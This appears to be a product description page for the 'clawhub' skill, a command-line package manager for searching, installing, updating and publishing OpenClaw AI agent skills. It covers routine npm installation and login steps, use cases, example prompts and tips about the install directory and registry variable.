What This Skill Does

The clawhub skill provides an interface to interact with the ClawHub CLI, a powerful package manager designed specifically for OpenClaw AI agent skills. By utilizing this tool, you can seamlessly search, install, maintain, and publish modular skills directly from the command line. Whether you are an end-user looking to expand your agent's capabilities with community-contributed skills or a developer aiming to distribute your own custom-built functionalities, clawhub acts as the central hub for managing your agent's ecosystem. It ensures that your local skill environment stays synchronized with the latest versions and allows for rapid deployment through its built-in publishing workflow.

Installation

To begin, ensure you have the required openclaw-agent utility installed and running on your system (see the repository links for Windows/macOS specific instructions). Once the agent is active, install the CLI globally via npm:

npm i -g clawhub

After installation, verify your environment by running clawhub whoami. For those planning to publish skills, ensure you have completed the clawhub login process to authenticate your session with the registry.

Use Cases

  • Expanding Capabilities: Quickly fetch and install specialized skills like "postgres backups" or data processing utilities without manual file management.
  • Version Control: Manage multiple iterations of a skill, allowing you to pin specific versions to ensure environment stability or upgrade all installed skills to their latest releases with a single command.
  • Skill Distribution: Developers can share their creations with the OpenClaw community by using the publish command, which bundles and registers your local skill folders to the central repository.
  • Environment Syncing: Maintain a consistent set of agent tools across different workstations by listing and updating skills in batches.

Example Prompts

  1. "Search the ClawHub registry for any skills related to postgres database backups."
  2. "Install the latest version of the web-scraper skill to my local directory."
  3. "Update all my installed skills to the newest version, skipping any confirmation prompts."

Tips & Limitations

Always ensure the openclaw-agent is running; the clawhub command will fail without this background process. If you encounter issues during installation, check your network connection and verify your clawhub_REGISTRY environment variable. Note that the default installation directory is ./skills, though you can override this using the --dir flag. When publishing, always provide a clear and concise changelog to help other users understand the updates you have implemented.
